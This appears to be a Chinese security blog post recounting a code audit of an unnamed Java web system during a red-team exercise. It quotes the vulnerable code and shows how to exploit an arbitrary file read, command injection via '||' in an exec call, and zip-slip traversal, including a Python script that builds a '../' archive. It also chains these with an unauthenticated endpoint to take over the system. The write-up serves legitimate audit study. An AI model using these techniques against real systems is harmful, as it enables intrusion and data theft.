点击上方[蓝字],关注我们
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
某次地级HW过程中遇见的一套系统,其开发语言为Java,通过其同类型系统成功扫到了其备份文件,故有了以下的代码审计过程记录
通过全局搜索
File
download
getfile
最终发现一处其任意文件读取漏洞
用户可控参数filePath
并非做任何过滤,通过File file = getFile(filePath);
获取file对象后,is = new FileInputStream(file);
获取文件文件字节输入流,之后通过 IOUtils.copy(is, os); 将is copy给os,最后通过os.flush();输出
@RequestMapping(value \= "/show", method \= RequestMethod.GET)
public void show(String filePath, HttpServletResponse response) throws IOException { File file \= getFile(filePath);
response.setDateHeader("Expires", System.currentTimeMillis() + 1000 \* 60 \* 60 \* 24);
response.setHeader("Cache-Control", "max-age=60");
OutputStream os \= response.getOutputStream();
FileInputStream is \= null;
try {
is \= new FileInputStream(file);
IOUtils.copy(is, os);
} catch (FileNotFoundException e) {
response.setStatus(404);
return;
} finally {
if (null != is) {
is.close();
}
if (null != os) {
os.flush();
os.close();
}
}
}
其中getFile
方法为返回File 对象
漏洞验证
全局搜索关键字getRuntime().exec 发现一处调用,参数可控导致RCE
三个参数分别是installPath, ip, port
,获取后拼接command=installPath+"program/soffice -headless -accept=\"socket,host="+ip+",port="+port+";urp;\" -nofirststartwizard &"
,最后调用Runtime.getRuntime().exec(command);
执行系统命令
public static JsonResult<String\> startService(String installPath, String ip,String port){
JsonResult<String\> result\=new JsonResult<String\>(true,"启动服务成功!");
String sys\=System.getProperty("os.name");
try {
if(StringUtils.isBlank(installPath)||StringUtils.isBlank(ip)||StringUtils.isBlank(port)){
return new JsonResult<String\>(false,"系统参数不齐全!");
}
String command\="";
if(sys.toLowerCase().startsWith("win")){
command\= installPath + "program\\\\soffice.exe -headless -accept=\\"socket,host="+ip+",port="+port+";urp;StarOffice.ServiceManager\\" -nofirststartwizard";
}else{
command\=installPath+"program/soffice -headless -accept=\\"socket,host="+ip+",port="+port+";urp;\\" -nofirststartwizard &";
}
Runtime.getRuntime().exec(command); } catch (Exception e) {
logger.debug(ExceptionUtil.getExceptionMessage(e));
result.setSuccess(false);
result.setMessage("启动失败!");
result.setData(ExceptionUtil.getExceptionMessage(e));
}
return result;
}
查看具体调用
获取到了configJson,之后通过JSONObject.oarSeObject
转换为JSON数据,之后如果enabled值为YES时,进入if语句,之后又通过result.getSuccess来判断了当前office的连接状态,如果为flase(默认无任何连接为flase)则进入该if语句造成命令执行
漏洞验证
通过命令管道符||来分割执行系统命令
系统存在模版上传并调用了解压,为对zip内文件进行限制导致上传任意文件并且可以通过../可以跳出当前目录
全局搜索unzip 发现
漏洞代码分析,主要看上传逻辑,通过String filename = f.getOriginalFilename();
获取filename,之后通过filename.split("[.]");
分割并赋值给type数组,之后判断文件是否存在,等,最主要的逻辑在于if (!type[1].equals("jrxml")&&!type[1].equals("jasper"))
如果type中不包含jrxml&&jasper 也就是后缀如果不是就会进入if语句执行解压操作
while (it.hasNext()) {//这个块是处理上传的文件将其写入到某个路径下,保存路径到sysreport实体,包含了一个队压缩包的处理,暂时不会用到,但别删除,拓展压缩包需求时会需要
MultipartFile f \= it.next();
String filename \= f.getOriginalFilename();
String\[\] type \= filename.split("\[.\]");
File file \= new File(WebAppUtil.getAppAbsolutePath() + "/reports/" + path + "/" + uid, filename);
if (!file.exists()) {
file.mkdirs();
}
f.transferTo(file); if (!type\[1\].equals("jrxml")&&!type\[1\].equals("jasper")) {//jasperreport支持2个格式后缀
File zipFile \= file;
String zipPath \= WebAppUtil.getAppAbsolutePath() + "/reports/" + path + "/" + uid + "/";
filename \= unZipFiles(zipFile, zipPath);//
}
sbPath.append(path).append("/").append(uid).append("/").append(filename);
}
进入filename = unZipFiles(zipFile, zipPath);//
,很明显未做任何过滤,但是判断了zip中是否包含了jrxml文件或者是jasper文件如果包含则把当前的文件名返回给path
public static String unZipFiles(File zipFile, String descDir) throws IOException {
File pathFile \= new File(descDir);
String path \= null;
if (!pathFile.exists()) {
pathFile.mkdirs();
}
ZipFile zip \= new ZipFile(zipFile);
for (Enumeration entries \= zip.entries(); entries.hasMoreElements();) {
ZipEntry entry \= (ZipEntry) entries.nextElement();
String zipEntryName \= entry.getName();
String\[\] type \= zipEntryName.split("\\\\.");
if (type\[1\].equals("jrxml") || type\[1\].equals("jasper")) {
path \= zipEntryName;
}
InputStream in \= zip.getInputStream(entry);
String outPath \= (descDir + zipEntryName).replaceAll("\\\\\*", "/");
;
// 判断路径是否存在,不存在则创建文件路径
File file \= new File(outPath.substring(0, outPath.lastIndexOf('/')));
if (!file.exists()) {
file.mkdirs();
}
// 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压
if (new File(outPath).isDirectory()) {
continue;
}
// 输出文件路径信息
System.out.println(outPath); OutputStream out \= new FileOutputStream(outPath);
byte\[\] buf1 \= new byte\[1024\];
int len;
while ((len \= in.read(buf1)) \> 0) {
out.write(buf1, 0, len);
}
in.close();
out.close();
}
return path;
}
漏洞验证
先生成一个跨目录的压缩包
import zipfiledef zip():
zipFile \= zipfile.ZipFile("/Users/again/Desktop/2.zip",'w',zipfile.ZIP\_DEFLATED)
try:
info \= zipfile.ZipInfo("2.zip")
zipFile.write("/Users/again/Desktop/1.txt","../../../1.txt",zipfile.ZIP\_DEFLATED)
zipFile.close()
except IOError as e:
raise e
if \_\_name\_\_ \== '\_\_main\_\_':
zip()
构造上传数据包
成功解压至根目录
挖了这么多,漏洞基本还是出现在后台,急需一个前台洞,让我们进去(实际测试没那么多弱口令账户给我们爆破,这个只是运气好罢了)
通过查看该系统不需要认证的URL发现了如下接口,表示该接口下的方法均可以匿名访问
<property name\="anonymousUrls"\>
<value\>/pub/\*\*</value\>
通过批量搜索发现,可以通过此接口获取用户信息
构造访问一下
至此,可以通过该未授权漏洞,进入后台,并通过之前的漏洞轻轻松松拿下该系统。
本文转自 https://xz.aliyun.com/t/12563,如有侵权,请联系删除。
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。
关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
回复“资料" 获取 网络安全、渗透测试相关资料文档
点个【 在看 】,你最好看